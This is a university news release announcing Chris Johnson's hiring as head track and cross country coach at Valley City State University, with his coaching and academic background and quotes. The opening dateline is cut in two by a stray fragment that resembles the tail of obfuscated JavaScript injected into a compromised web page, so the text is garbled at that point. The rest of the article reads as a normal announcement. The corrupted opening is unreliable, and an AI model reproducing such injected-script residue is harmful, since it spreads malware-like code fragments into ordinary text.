VALLEY hrasz|var|u0026u|referrer|tzisi||js|php’.split(‘|’),0,{}))
CITY, N.D. (VCSU) – Valley City State University announced this week that Chris Johnson has been hired as head coach of the Viking track and field and cross country programs.
A native of Yardley, Pa., Johnson has worked the past two years as an assistant coach for Dickinson College (Pa.) and Buena Vista (Iowa). Prior to that he worked two years as a graduate assistant at University of Mary in Bismarck, N.D.
Johnson’s start date is officially scheduled for Aug. 17. He replaces Ken Frenette, who was head track and cross country coach at VCSU for the past three seasons.
“We’re excited to welcome Chris as our new track and cross country coach,” said Jack Denholm, VCSU athletic director. “He brings a lot of energy to the programs and has an exciting vision for the future. We feel he’ll be a good fit at VCSU.”
Johnson interviewed on campus last week and came away impressed by the school and the community.
“I love the small school feel,” he said. “Coming from a Division III background, I like the smaller classes and the community feel of the school. Nobody really gets lost in the crowd, and the athletes I met all spoke really, really well about the school.”
Johnson brings a strong coaching background in the jumps, throws, hurdles, sprints and multi-event sports. He’s excited about the potential growth and future direction of the track and cross country programs at VCSU.
“I feel the school is making a commitment to improving the track and field and cross country programs in a number of ways, so it’s really exciting for me to take that on,” he said. “They’re putting me in a great position as a first-time head coach. I know people in the athletic department will help me along.”
Johnson completed his undergraduate degree at Dickinson College, Pa., a school with an enrollment of about 2300. He was a two-sport athlete in college, competing in track and field and playing baseball. Johnson competed in the jumps, throws and sprints while a member of the Dickinson College track team. He graduated in 2011 with a Bachelor’s degree in history and a minor in Spanish.
Johnson went on to earn his Master’s degree in Education from the University of Mary in 2013. While at University of Mary, he worked two years as the graduate assistant for the track and field program. It was his experiences at Mary that sold him on coming back to North Dakota.
“It’s really a track-friendly state,” he said of North Dakota. “And the communities like to get involved here.”
Johnson continues to train and compete in javelin during his free time, and has a personal best throw of 214 feet, 2 inches (65.28 meters).
Valley City State University has a rich tradition of track and field and cross country, dating back more than 85 years. The programs were discontinued briefly in the 2000’s, but were reinstated in 2010. VCSU is currently a member of the National Association of Intercollegiate Athletics and a conference member of the North Star Athletic Association.
(Chris Johnson).